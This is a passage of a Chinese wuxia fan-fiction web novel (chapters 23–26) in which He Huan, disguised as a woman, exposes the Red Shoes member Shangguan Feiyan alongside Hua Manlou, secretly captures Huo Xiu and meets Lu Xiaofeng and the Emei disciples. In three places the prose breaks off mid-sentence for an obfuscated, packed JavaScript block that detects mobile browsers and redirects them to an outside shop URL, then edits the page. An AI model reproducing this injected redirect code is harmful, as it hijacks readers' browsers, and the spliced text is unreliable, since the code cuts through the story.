然而“何欢”不在,花满楼认为不如叫到自己家中去吃。 他好像在为难单独和一位“姑娘”一起吃饭,尤其这姑娘还是他好友的妹妹。但因为是何欢提出的,又不好意思拒绝。 何欢觉得有些好笑之余,又不禁想到:倘若真的在他面前揭露自己的身份…… 大概会得到一句无奈的:“你啊。”然后自然接纳吧。 用过饭后,何欢告辞。 没有半盏茶的功夫,花满楼有听到有人急忙奔来的声音,脚步声急促,自迎着巷子的正门直接就上了小楼。然而花满楼还在后院中收拾刚刚残局。 那脚步声奔上楼之后就停了。花满楼本想上去一探究竟,手腕就被一双柔荑隔着衣袖抓住。 是他。她身上带着暖意的甜香,在这个瞬间像是小钻子一样在往人的鼻子里钻。 她低声道:“好似是冲你来的,我去看看。” 花满楼一愣。 何欢已经上楼去了,他抬手轻轻抚摸上自己手腕的位置,脸上带着一丝疑惑之色。 随后,他往楼上走去,心想:“我看起来……很弱吗?” 等他上楼,只听一少女躺在一旁声音悲戚,喊道:“公子救我!” 而另一边,何欢的妹妹却坐在他平日坐着的位置,对他说,“等一等,你先别救她。” 旁边还躺着一个大汉,好似已经被打倒在地塞住了嘴,只有喉咙里还喘着粗气。 一时之间,他难以 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“何公子……你是个很好的人。然而,在洛阳,你这样的好男人会非常危险的。我悄悄地告诉你,”她眼中有水雾弥漫,却露出让人背后生寒的笑容,“小心穿着红鞋子的女人。” “只因她听说了我哥哥的存在,就要将他作为下一个目标。并且那个组织的老大听说之后,竟一定要她再对我哥哥下手。她说,哥哥那么会调香,不如砍下一双手、一只鼻子,看看与常人有什么不同。” 花满楼此时眉已经深深皱起。 那名躺在地上、名叫上官飞燕的少女,此刻听完这个故事,冷汗已经下来了。她脚上的红鞋子无处可藏,两只猫头鹰又大又圆的眼睛,惨淡的注视着对面昏迷的男人。 原来花满楼与何欢那男人竟然认识,怎么就恰好、他的妹妹还在花满楼这里。最差劲的是,这女人的武功竟然如此高超…… 上官飞燕咬了咬牙,做出凄然状:“我……我不知道,我只是个无依无靠的女子,平日只靠小偷小摸混饭吃。那天,我饿的实在不行了,有位姐姐问我要不要跟她走,她可以管我的饱饭,我跟她去了,她还给我提供了新衣服和新鞋子,就是脚上这双……我,我什么也不知道啊。” 她眼珠转动,想起什么似的,连忙补充:“这人也是看了我身上的装扮,以为我偷了东西,所以才追上来的……不、不信你等他醒了问他!” 何欢看着她,半晌,叹了口气。 “你实在是一个很会撒谎的小姑娘,我看,已经有人要相信了。只可惜,我却没那么好骗。” 差点就相信了还被直接点出来的花满楼神情无奈。 虽然性格有所不同,但这种包揽事情的风格着实…… 耳畔突然传来轻柔地呼吸声,那人压低了声音问:“接下来要怎么办?要问她来找你的目的吗?但她好会撒谎。” 花满楼耳朵微微动了动,故作镇定道:“你不是说你并不好骗吗?” 花满楼听见他在笑,传来低低的气音:“我骗她的呀,怎么你也相信了。” 23.第 23 章 虽然药和修改后的功法都已经寄回去,但是有些事情还需回去和水母阴姬商议一下。何欢本来打算在此休整一下,明日就离开。如今再度遇到红鞋子的成员,他心中犹豫。 花满楼贴心道:“如果你还有急事赶回去,不妨先走。我一人应付这些也足以。” 何欢知道他武功高强,然而,“你连我胡诌的话都信,万一那女子扮可怜,比如……说手脚麻了请你帮忙松绑,你一不留意中招怎么办?又或者……红鞋子的组织找来怎么办?” 何欢认真道:“那些人很可怕的。” 花满楼忍俊:“嗯,多谢你的担心,很有道理。” 何欢自言自语:“或许我应该等一等陆小凤……陆公子来同你汇合。” 花满楼脸上的笑意转变为困惑,他问:“怎么,难道在何欢眼中,陆小凤比我要可信吗?” “什么?不,”何欢否认,“只是我听说陆公子的桃花极旺,想来能更明察那少女有没有说谎。” 花满楼无奈:“虽说我……在这种事情上的确欠缺经验,但也不是任谁都信的。” 何欢歪头望向他,“真的吗?” 这场景似曾相识。好像之前他们三人待在一起时,花满楼与何欢对弈,谦虚自己棋艺平平,何欢也是这样问他的。随后,何欢就在陆小凤醉后的歌声里,差一子落败。 想到过往之事,何欢忍不住面露微笑,恰好此时花满楼脸上也露出相似笑意。 “即使如此,两个人总要比一个人好。”笑罢,何欢如是道。 花满楼赞同,“确实,两个人要更好一些。” 两人商议着将那大汉和少女分开关起来。好在花满楼小楼之中客房颇多。将他们分别放在两间客房里,收拾完何欢正要回家,就听见花满楼的声音。 “天很晚了,点一盏灯再回去吧。” “不必麻烦,不过短短几步路。”何欢摆摆手, 第二日,何欢早早起来做好早饭,正想拎过去和花满楼一同吃了,忽觉不对。 他从中拿出一个包子,试了试口味。 “哪有兄妹两人不仅都会做饭,做出来味道还一样的道理。”他放下食盒,这早点只能自己吃掉了。 在无花面前伪装多日,一直不停在外奔波,以至于之前突然见到花满楼,有些过于放松。 他一边吃饭一边反思,出门前又去镜前看了看自己今早的易容——并无漏洞。 何欢在屋子里刻意等了一会儿,才按昨天的约定去花满楼的居所。 “你来了。”花满楼已在院中等着,见他来了,将一杯热茶推至他身侧,“不知道合不合你的胃口。” 何欢以手指轻触杯壁复又拿起,轻嗅了茶的味道,茶温好似有些不够,不像花满楼以往的风格,但仍不失为好茶。他心里这样想,然而口中却道,“我于茶道研究不多,闻着是好茶呢。” 这杯茶饮尽,何欢道:“那么,还是按我们先前说的,你去与那拿刀男人问话,我去看看那个女孩子?” “……好。”虽说是同意了,但花满楼语带犹豫。 “怎么?昨日出了什么事吗?”何欢问。 “……”花满楼脸上有些涨红,“那女子……” 何欢看他这样,轻轻扬眉,“怎么,昨天她向你诉苦了?你心下怜惜?” “没有,只是她有些话……你可以不听。” 这话说的让人没头没脑,何欢怀揣不解的走近那间房间。 上官飞燕听见脚步声,喜出望外的大喊,好似还带着些哭腔:“好人!好人!求求你了,我当真忍不住了……” 何欢一时之间没反应过来,等里面那人撒泼打滚说真的没有骗人时,他才反应过来——这女子需要解手,花满楼却听他的话老实的没有理会。 昨夜那样说的确有可能是骗他的,但如今不是真话也该变成真话了。 何欢推开门,少女涨得通红的脸在一瞬间居然可以变得煞白:“怎么是你……” 何欢还做女装打扮,没想到她竟还嫌弃上了,只觉得好笑:“是我不是更好,还是……你难道更想让他帮你?” 上官飞燕脸上一阵红一阵白,好像真的是这样想的。 “我知道红鞋子对姐姐的哥哥做了不好的事情,可这真的与我无关……”她低低辩解。 原来是担心我用这个威胁她。不过这倒是个法子。何欢试探问:“如果我说,你不说出你来是要做什么的,我就不让你去方便……” “我说!我全都说!求求你了姐姐,你也是女子,你怎会不知道这是多耻辱的事情!” 何欢带她去了。等她回来,还警告她:“好妹妹,你还记得我说的吗?希望你不要有隐瞒,将事情都说出来。” 虽说能分辨谎言是骗人的,让一个人讲真话却不假,倘若无需顾忌情面的话,甚至可以称得上轻易。 然而这少女不知道是胆大包天,还是不把何欢说的话当回事,不仅有所隐瞒,她说出的事情与按下不表之事相比,简直就像陆小凤的眉毛和头发长度的区别。 且她面上犹带惊魂未定楚楚可怜之色,何欢饶有兴趣望着她。 “我真的都说了……姐姐,我只想请花公子去帮这样一个小忙,只要……只要等陆小凤来我们的居所一看便知了!他可是江湖有名的名探,你知道的!” 何欢还真不知道。名探么……他面上不显,仍然笑嘻嘻的:“好妹妹,既然你都这么说了,那我肯定要相信你的。不过,我也实话告诉你吧,其实我根本不懂什么分辨人是否说谎了的功法。” 上官飞燕提起来的一口气还没有彻底松下来,就听见这阴险毒辣的死女人说:“但我听说,人只要超过三十六个时辰不睡,就动不了歪脑筋,只能问什么答什么了。妹妹习武至今,想必体魄比普通人更强些。我只能请你从现在开始,一刻也不休息,每隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050250|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十二个时辰问你一次,直到陆小凤前来。倘若到那时你的一众说辞还能保持一致,我就相信你没有说谎。” 谁知道陆小凤会什么时候过来!上官飞燕脸上伪装的表情消失了,她死死盯着面前这个蛇蝎心肠的女人:她就是想要折磨我,折磨完之后再让我死! …… 花满楼那边的大汉,真就一问三不知,只是垂涎上官飞燕的美貌,被上官飞燕雇来做个恶棍,好让她有正当理由进入小楼。 “的确如你所言,这女子应该是主谋。”花满楼与何欢对了今日两人的口供,得出结论。随后他面带犹豫之色:“熬鹰之刑……当真要这么对那女子吗?” “你可知红鞋子这个组织残害了多少人?这法子甚至没有伤她性命,也会显得太残忍么?”何欢问。 花满楼听出他并非嘲讽,而是真心疑惑,也就诚恳道:“我只是认为,罪疑惟轻,宁失不经。何况你我既非律法官员,也尚未真正深受其害。有什么资格去处置一个平等的生命呢?” 何欢原以为沈浪已是世上难得的圣人,在他自嘲“算不得好人”时还暗自不认同,但如今听来却意识到了,原来当真不同。 他轻声道:“的确……就算她是红鞋子的人,她恃强凌弱,能随意的取人性命,难道我们就要受她影响,在无法反抗的人身上强加定论,成为同样以私刑泄愤的人么?” 花满楼认同的点头。 何欢含笑:“好罢,只当吓吓她。让她熬上一夜。按照他们的说法,金鹏王朝如今可是很迫切的要找人解决他们的问题。她来找你的同时,应当也有人找到陆小凤那边了,大约再有三两天,陆大侠应该就找过来了吧。” 深夜。 何欢使出轻功,自后院翻身离开。他脚程极快,便到了先前停靠马车的那家饮子店。此刻店铺早已经关门,不见一点烛火。何欢侧身而立,在门前发出“咕咕”的鸟叫声。三声罢,里面一一长一短鸟叫声回应;再回一长两短鸟叫,店门悄然打开。 这家店是神水宫名下产业,店主王元只见一披着黑色披风带着面纱的女子如风般自打开的门缝中闪现进来,暗惊:好厉害的轻功。 “王元拜见神水宫神使。” “免礼。” 这女子声音很是年轻,如此年纪便已经有了深厚武功,且已成为神水宫神使,王元不禁态度上加倍恭敬:“不知发生了什么事,劳您深夜前来。” 听着女子的低声吩咐,王元一边答应着,一边不自觉冷汗直冒。等人走后,他才发现自己一直在弯着腰应是,如今腰僵硬得厉害,手也在不停颤抖。 等他艰难的挪到房间里,喊醒老婆帮他按按腰,老婆问他:“怎么了?你看你这汗流的……神使吩咐了很难做的事吗?” “很难。”这样说着,王元的眼睛迎着卧房李点的灯,却亮得惊人“不过倘若做得成,你我、我们的女儿儿子,甚至孙子,也能躺着享福。” 24.第 24 章 何欢回了家中,为自己倒上一杯水,暗自开脱:我既没有滥用刑罚,也没有惩罚她什么,不过是通过正常的摄魂大法知道了一些内幕、进行江湖中正常的吞并和资金流动,不算过分吧。 虽然他自己不觉得,但与楚留香和无花同行一段时日后,好似为他增添了一抹……厚脸皮? 何欢的确放过了上官飞燕。然而陆小凤却迟迟不至。他们并不知晓由于抓捕了上官飞燕,对方在“邀请”陆小凤的计划中便缺失了最要紧的一环。 花满楼皱眉:“我只担心他又陷进了别的麻烦之中。” 何欢问:“上官飞燕说他是江湖有名的“神探”,原来他还常常陷入麻烦之中么?” 花满楼无奈,“如果不是麻烦缠身,你以为他的神探之名又是如何传开的?” “或许,是他就喜欢这种刺激的感觉吧。”何欢闷笑。 花满楼含笑望着他,何欢看见,“怎么了,我说的不对么?” “不,只是感觉,你与你的哥哥,有时候很像。” “……毕竟是兄妹。”何欢目光移开,有些心虚道。 上官飞燕坐在他们对面,被搜过身、还被点穴封住了武功。只能坐在那里神情郁闷的吃点心。她也懒得搭话,只愿另一边足够机灵,能随机应变,早早找陆小凤过来。 陆小凤虽然没有被算计到,但他还是来了。只因他们说自己的雇主抓住了花满楼。 然而如果真的抓住了花满楼,他们怎么还要花那么大的力气围堵他?只要将消息放出去,陆小凤不就会为了朋友亲自送上门了吗?既然他们没有这么做,就证明花满楼应当还是安全的。 然而,即使陆小凤在心中对此十拿九稳,他还是来了。为了他的朋友,一分也不得马虎。 他赶过来的时候,如果看到朋友还好好的待在自己的小楼里,一定会很高兴。但如果他快马加鞭风尘仆仆赶到江南,上楼却看到自己的朋友不仅好好的,还有佳人相伴,两人样貌般配、神情闲适,坐在明媚阳光下一起品茶弹琴…… 那就不是很高兴了。 何欢手指轻击在桌面上,微阖眼眸听花满楼弹着潇湘,浪卷飞云时,有人脚步急促奔上楼来,他睁眼,就看见陆小凤手扶在楼梯栏杆上,面无表情的看向这边。 花满楼琴弦一转,云水变流水,他笑道:“我听见有人急匆匆赶来,却站在远处不说话。” 何欢抬起手撑住下巴,言笑:“你的知己来了,在吃我这知音的醋呢。” 陆小凤装不下去了,他脸上已经满是笑容:“我还说呢,谁会这么有本事将你捉去,果真是叫人骗了。可怜我着急忙慌赶来,连一口水都吃不上。” “陆大侠既然这么说,为什么还站在那里,不过来饮一杯茶?” 陆小凤笑:“因为我只怕喝不起这茶。” 花满楼摁住琴弦,了绝余音,闻言道:“是新出的庐山云雾,用山泉水泡的,你若不想喝……” “怎会不想喝,”花满楼这样说罢,陆小凤才提膝至桌边,坐下就为自己连倒了三大杯茶。 饮罢,他赞叹:“好茶。” 何欢摇头,假作不满:“原来陆大侠是害怕我在茶里下了毒,要害你与花满楼。” 陆小凤看了一眼仍然面带悠然的花满楼,便晓得这女子并未真正生气,道:“只因我从没见过他这人和女孩子单独待在一起,唉,我向你讨饶,自罚三杯茶水。” “这你可说错了。”何欢向后一抬下巴。“喏,那儿还有个人。” 陆小凤转头,就看见一女子被破布塞住了嘴巴,捆在凳子上,昏迷不醒。 “这是……”他面露疑惑之色。 “来害人的。”何欢道。 花满楼补充:“四日前,她想‘请’我去他们府中做客,何姑娘识破了她的身份,劝我谨慎行事。我们便在此地等你前来一同商议。” “她的身份?”陆小凤饶有兴趣,“我只知道他们要光复一个名叫金鹏的王朝,除此之外,还有什么身份?” “她是‘红鞋子’组织的一员。这个组织中成员皆是女子,遇到对她们稍有不敬的男人,就会割掉他们的四肢五官,堆在一起当收藏品。特点是穿着红色绣有猫头鹰图案的鞋子。”何欢道。 “本来只是点了她的穴位,没想到她还能趁机在茶里下迷药。”说到这里,何欢微微一笑,“陆大侠该再早一点过来,说不定正好喝上。” 陆小凤不说话了,只是摸摸自己那两撇胡子。他有些心虚时就会这样掩盖自己的神情。 “好了,既然你已经到了,接下来要做什么就随便你们二位商议。我也该走了。”何欢站起身,正要转身下楼,就听见陆小凤疑惑地声音:“为什么既然我来,她就要走?” 花满楼解释的声音在身后响起,何欢来到小楼后院,摸了摸小黄的头,“他接下来不一定能管的到你,你还要待在江南吗?” 小黄狗汪汪两声。 “好吧,既然你讨厌五鬼搬山,那就待在这吧。最多不过两个月,我也应该回来了。真饿了就去吃我给你准备的存粮。不准伤人,听到了吗。” 小黄狗摇摇尾巴。 何欢叮嘱完,便起身离开了这里。 不论陆小凤的探案能力是强是弱,以防与他们产生冲突,何欢需做好万全打算。 上官飞燕至少要带他们回一趟所谓的“根据地”,这段时间已经足够他去上官飞燕背后真正的指使者那里走一遭。 …… 白日,正午时分。一队身穿白衣的少女悄无声息出现在了霍休所在的小楼门外。 悄无声息的事情大抵都在夜中发生。然而面对思虑过重、夜间往往休息不好的老年人,最好在正午前来拜访。 为首的少女带着白色面纱,遮住下半张脸,只露出一双笑意盈盈的眼睛。她站在那里,就有一种清丽脱俗,不似真人之感。然而,在被一剑破门的霍休眼中,这队人就是不知死活的白蚁。 “打扰了,老先生。”这少女的声音有种忽男忽女、忽远忽近的感觉,听得久了,甚至会有些犯恶心。 “这点小伎俩,便不必在老夫面前使了,省些力气做别的事不好么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062537|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白衣少女歪头。 “我已不需要做别的事。”她轻飘飘道。 “或许老先生觉得自己的武功很高,又或许你觉得你的小楼有百种机关,旁人能耐你何。” 她声音慢条斯理,竟点出了霍休的依仗。 “是上官飞燕告诉你的?”霍休冷笑,“你以为知道了这些,就能同她一起算计我?” 她没有反驳,因为这并无意义。她只是问:“有何不可呢?” “就凭这几个人?” 她依旧面带微笑,好像听不出这人对她的嘲讽。 “有何不可呢?”这句话,如今听来竟成了最傲慢的讥讽。 就在霍休的手正要触碰到机关总括时,一种强烈的危机感突然升起,刺激着他的大脑,他犹豫了一瞬间,就这一瞬间,他看到他的头上透下一缕刺眼的阳光。 人在屋檐下,怎会看到头顶的太阳? 说时迟那时快,他用了这辈子最快的速度砍下自己身旁的桌子,不顾样子是否难看,顶着桌面向屋外奔去。 一抹白色缎子拦住了他的去路。 “天一神水,你们是——” 他看着白衣少女露在外面那双迷人的眼睛。 他的神情忽然变得恍惚,已经一个字也说不出口。 “我一向觉得,毒药就不该有名字。有了名字还怎么做到悄无声息呢?但是将这些毒药全部都称作天一神水,也未尝不可。” 少女抬起带着白色天蚕丝手套的手,轻轻拿下他手中的桌面,向身后小屋一抛。 铁木桌面撞上屋子的混凝墙体,这些极其显眼的物件就犹如在阳光下消融的冰雪一样,扭曲坍塌,最后消失的无影无踪。只留下草地上一滩不起眼的水,在阳光下闪烁着银光。 她拿出一个瓶子,向前走去。 “神女,回收王水的事还是交由我们去做。” “我怎么放心将这么危险的事推给你们。” 被称为神女的,自然就是何欢。她将所谓的“王水”引流入瓶中,盖上了盖子。 “将他带回神水宫吧,宫主会处置他的。” “是。”众女敬畏的向他施礼,她们将霍休的手脚关节卸下,塞住他的嘴巴,将他折叠放入了一个黑色的箱子里,又将箱子放入刚刚何欢乘坐的轿子中。 何欢欲言又止。 随后他想:罢了,这人既然是江湖最大杀手组织的首领,想必罪孽也不少。便小惩大诫吧。 他始终做不成花满楼。 最大的一笔已经收入囊中。算算时间,还有另一个人。 何欢有些犹豫——若只有霍休失踪了,还能说是青衣楼这边的情报泄露,有人找上门来。如果再去另一处,难免徒惹怀疑。 罢,只审问霍休、精简吸收青衣楼一件事便有的忙。 然而何欢没想到,他不打算向上官飞燕供出的另一位山西富商动手,却恰巧又卷入其中。 “何姑娘,巧遇啊,你已经回过家了吗?” 何欢惊讶转头。 “花公子,还有……咦?你的胡子呢?” 25.第 25 章 “看来这段时间,我应该习惯别人跟我打招呼的时候先问我的胡子。”陆小凤摸了摸自己之前长胡子的地方,看起来很是郁闷。 “请人帮忙所以剃掉了?”何欢有些不理解,“他要你的胡子做什么?莫非可以入药么?” 陆小凤:“……” 陆小凤:“不,我的朋友只是喜欢看我火烧眉毛的样子。别再提这件事了我的好姑娘。” 何欢从善如流地转移话题,“所以你们最后还是决定要来一探究竟么?上官飞燕怎样了?” 陆小凤闻言,重振精神,他道:“我们已将上官飞燕移交官府了。关于她参与红鞋子的事情,好像事关重大,我在六扇门的朋友正要接手,这你可以放心了。” 何欢点头,不甚在意道,“那很好。” 陆小凤没有注意他的敷衍,接着道:“至于金鹏王朝,的确有些可怜。不过其中疑点很多,我们已经决意前来一探究竟。” 何欢见花满楼在一旁含笑不语,好奇:“我以为花公子不会掺和进这件事情。” 陆小凤自信的摸了摸胡茬:“原本他说要回去,但好不容易出来一趟,为什么要这么快回去?再加上我们要见的人并不简单,让花满楼跟我一起来比较安全。” 花满楼只道:“何姑娘放心,我已将小黄放在我父母家中,他们与小黄相处的很好。” 一夕之间辗转三家啊……不过如果那家伙不愿意,应当自己就回去住了,所以他点点头。 “劳烦伯父伯母了。等我……哥回去的时候,我会记得提醒他特意道谢的。” 花满楼有些愧疚:“是我的不是,明明说好要照顾它。” 说到底是他和小黄都有所隐瞒。花满楼甚至还专门去照顾它了,又怎么能够让他道歉,何欢连忙问,“所以,花公子真是因为久在家中有些无聊么?” 花满楼迟疑片刻,点头,“呃……的确有些。” 陆小凤拍了拍他的肩膀,“我就说嘛,出来走走也好。” “何姑娘要往那边去呢?”陆小凤问。 何欢微笑:“我要往东去。” 陆小凤闻言,一只手靠在后背,悄悄推了一把花满楼。 花满楼感觉到陆小凤在他身后的小动作,疑惑中透露着不解。 陆小凤只能装作什么都没有发生,感叹道:“那我们不同路。再度重逢即是有缘,不如一起去吃顿便饭?” 何欢迟疑了一下,他在好奇陆小凤刚刚在做什么。虽说再不回去可能会被南燕抱怨……不过吃一顿饭还是可以的。 陆小凤果然很会选客栈。何欢不禁怀疑这里他也来过。究竟有哪座城市他没去过?哪座城市没有他的朋友? 他这样想,也就真的这样问了出来。 陆小凤听了,带着一点自豪:“你这样一说,我真想不到哪里没有我的朋友。” “大概,只有天上地下,还有大沙漠里了吧。” 说不定,地下你也有朋友。只是这话,却不能说给他听了。 何欢所伪装的何缨并不饮酒,因此他们三人以酒代茶,茶过三巡,话匣子也聊开了。 “所以你们虽然答应了大金鹏王,却也邀请了他的三个家臣到这里一聚?” “分别邀请,他们不想身败名裂,就一定会到场。” 何欢心生疑惑:“那么,你怎么确认他们有没有提前串通好?万一他们打算一不做二不休直接杀掉你们这些知情人呢?” 陆小凤疑惑了一下他这种过坏的假设,随后自信道:“沧海桑田,时移世易,这事还不至如此。就算他们真的动过这念头,我还请来了帮手……隐藏在暗处。” 这样说来,之前花满楼也说过陆小凤有时候过于大胆,这次跟出来大概也是为了…… 何欢看向花满楼,他坐在一边,感觉到何欢的目光之后,了然一笑,冲他点了点头。 何欢叹了一口气:“那么,我再送你一个帮手。” 陆小凤不解:“什么?” 何欢露出微笑:“你应当知道,我的武功也不差。” …… 陆小凤已经回屋。院中花满楼与何欢对坐。 “何姑娘,我知道你武功高强,可你不是还……着急回家吗?又何必参与进来?” 何欢抬头望见了月亮。月光如水照在面前人的身上,他的声音也温和得像水一样。 “我……”他正要讲话时,突然察觉到有几道气息接近。 几乎是同时,花满楼冲他摇了摇头,朗声道:“深夜客至,未及远迎,院中有茶,不妨入院一坐。” 来者为两男两女,双双从门前现身。看做派不像歪门邪道。 花满楼想起什么,问:“不知来者是三英四秀中的哪几位?” “你这人眼力倒好。”打头是一位衣衫华丽,在秋日夜里还摇着折扇的少年,他年纪不大,却率先开口,“在下苏少英” 其身后依次是他的师弟严人英、师姐马秀真和石秀雪。 何欢低声问花满楼:“三英四秀……又是什么?” 却不料被正要向前走的苏少英听见了,他皱眉,正想说些什么,就看见何欢抬起一张俏丽的脸蛋,冲他笑了笑:“不好意思,我是外地来的,不太清楚。” 峨眉派三英四秀的名气在江湖也算不小,但这女子这样说了,苏少英却怔怔然忘记反驳他。 只听花满楼低声向她解释。 “原来如此……”那女子点了点头,“你们想要先礼后兵,他们却打算剑出先手。” “我们可没有这样想,你这女人不要随意揣测我师父的想法!”抱着剑的严人英脸上还带着些稚气。 看起来最文静的石秀雪做了解释:“师父受邀,却只打算孤身前来。我们几个心中不安故而先行来此查探。”她的眼神自花满楼身上一扫而过,脸上微微泛起了红色,“并非有意为之。” 这时陆小凤正好从楼上下来,闻言笑道:“你们担心师父,可贸然前来,万一这里埋伏着一屋子刺客,直接绑了你们去要挟你师父,你们又该怎么办?” 他甚至可以看出这几个少侠视死如归,却害怕连累师傅。 于是传染似的,几个没什么江湖经验的少侠你看我、我看你,都涨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074839|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红了脸、答不出话。 何欢笑:“经验可以培养,但这种胆气却少有。独孤掌门很会养徒弟啊。” 这话好像在夸他们,仔细一听又有些奇怪。没等几位少侠想明白这种突兀感从何而来,一老者的声音自门外响起:“女娃娃年纪不大,口气却不小。” “师父!” 两英两秀冲老者所在处施礼。 他留着长髯,太阳穴微微凸起,神情严肃。看起来精神矍铄,但也能一眼看出,他老的已经很值得尊重了。 他便是独孤一鹤,峨眉派掌门人,在江湖门派中也算鼎鼎大名。 然而,不说神水宫与这些所谓武林正派相互看不顺眼,真要论起活了多久,何欢比在场加起来所有人都大得多,自然没有什么尊老爱幼的意识。因而他说出的话听感有些奇怪,也让独孤一鹤不满。 何欢闻言皱了皱眉,他正要说话,却被人按住了手。 是花满楼。 这个瞬间,何欢不禁一怔。实际上,不仅何欢,陆小凤的眼睛也瞪大了。一边的石秀雪余光看到这边,心中一阵失落。 何欢的手轻微动了动,花满楼才反应过来,他收回了手,张张嘴,刚刚想说的话却堵在了喉咙里一般,怎么也说不出来了。 “她年纪小,说话莽撞了些,独孤掌门莫怪。”最后,还是花满楼强撑着替他解释。 “……” 独孤一鹤不明白这莫名的氛围从何而来,冷哼一声,“陆小凤,我如约而到了,你要问我什么,不妨直接问了。我这一生,行得正坐得端,事无不可言。” “独孤一鹤事无不可对人言,那么平独鹤呢?” 何欢不打算听下去——他早已在上官飞燕那里知道“大金鹏王”不过是霍休敛财以及推诿的一枚棋子,实际上,昔日同僚也全是他算计好的棋子,每一枚都有自己的用途。他听过一遍已经心生厌烦,不愿再听。 “我懒得听这些,不打架的话我就先回去睡了。”他起身要走。 花满楼以为他是因为刚刚的事情生气了,张口欲言,却实在不是时候。他顿了顿,轻声道:“一会结束后……如果你还没睡,我去找你。” 何欢意识到他有事要说,点了点头,扭身上楼。 陆小凤正与独孤一鹤对峙,没有留意这边。石秀雪在师父身后,却将一切全收眼底。 …… “多谢独孤掌门。”陆小凤听完独孤一鹤讲述的来龙去脉,心情有些复杂。这其中未必没有隐瞒,然而……关于青衣楼一事,的确如他所言。他已是一派掌门,本来就志不在此,不然也不会竭力将峨眉发扬光大,还培育出多个徒弟。 青衣楼只要届时再去查勘就好。他将两方的说辞在脑中对比一番,长舒了一口气,“接下来只要等阎立本大总管的……花满楼?” 花满楼已经起身,看样子是要上楼。 他面前,站着一位倔强的少女——正是刚刚没有随师门一起离开的石秀雪。 “我……我有一个问题想问你。”她声音中犹带颤抖。 “你同刚刚那位姑娘……是什么关系?” 26.第 26 章 她本该离开的。 师父已将话说得清楚,在此之前,他们就已查清青衣楼所在的位置,正是如今所在的江西,所以指控师父是青衣楼楼主之事根本是无稽之谈。而关于金鹏王朝一事……在独孤一鹤等人进入中原后,曾经的小王子就已经因为胆小主动放弃了复国。叛徒一事,也不过污蔑,清者自清。就算陆小凤他们说要听过所有人的说辞再行定夺,石秀雪自信师父在这件事情上没有错。 不欢而散,如今再留在这里又有什么意义。 可她仍旧不甘心,一定要问出一个究竟。不然,无论如何也无法死心。 “你同刚刚那位姑娘……是什么关系?” 她的声音颤抖得厉害,也是说出口才意识到在害怕。对方会不会答复,会说出怎样的答复?仿佛压死骆驼的最后一根稻草悠然落下,而她在等一个明知顾问的结果。 “我与何、咳,何姑娘是……”花满楼脸上的神情有些复杂,他本来是一个一切都摊开、不需要隐藏什么的男人,如今却因为某种原因欲言又止,试图隐瞒什么。 石秀雪听到他犹豫道:“我与她是,很要好的朋友。” 石秀雪先是松了一口气,可想到刚刚那位美丽的姑娘与花满楼已经那样亲昵,待他与旁人明显不同,他却只说他们是朋友,反而有些想为那位女子鸣不平。 这两种情绪在她脑海里翻滚,最终,她只咬了咬唇,“……花公子,你真的很温柔。但是,对所有人都那么温柔,就是对一些人的残忍了。” 她说完就转身要离开,走到门口,最终还是没有忍住转过身来:“我叫石秀雪,希望你记得我、如果还有下次见面,我跟你打招呼时,不要忘了我。” …… 陆小凤拍了拍他的肩膀:“花公子,桃花朵朵开啊。” 花满楼微一卸力,从他手下脱开,“我与何姑娘,并非你们想的那样。” “我们想的是哪样?你们又是什么关系?”陆小凤笑,“不知道你这人在嘴硬什么。” “……” 花满楼无奈,他走上楼去,到了何欢门口,轻轻叩门,“打搅了,你睡了吗?” 门内没有回应,想来或许是舟车劳顿的原因,他已经睡了。 想到旁人的误会,花满楼先是觉得好笑,随之涌入脑海的,却是对方初次见面就过于熟稔的动作、爱照顾人的性格,以及压低声线时的发音方式。 带着些不知何处方言的声音,仔细听时尾音像一把小勾子,勾的人不自觉跟他走。 看不见的人,在其他方面总会格外敏锐。虽然还没有其他人发现……也该提醒他一下的。 等他醒时再说吧。 何欢并未入睡。天时地利人和,凑成了难得的不在场证明。如今不去找某位总管又待何时?霍天青,声名显赫、地位崇高,因为少年意气所以受美人计诱惑、背叛自己的恩人伯乐……神水宫要的并不多,封口费而已,想来霍总管应该不会不给。 而那位逃脱一难的闫总管……倒是管账致富的一把好手,姑且先以神水宫的名义卖个人情,日后总有用得上的时候。 他轻快往阎铁珊与霍天青下榻的临水阁奔去——不巧,但凡招牌中带了水字的,多半属神水宫麾下,这间正巧在那多数之中。不料,还未到门口,便闻见一阵血腥气。何欢眉头一皱,加快了步子奔去,正看到店长请来了医馆在为阎铁珊包扎。 他脸色惨白,胸口伤痕贯穿肺脉、最要紧是后背一柄短剑,直直插入胸腔,不知是否害及心脏。 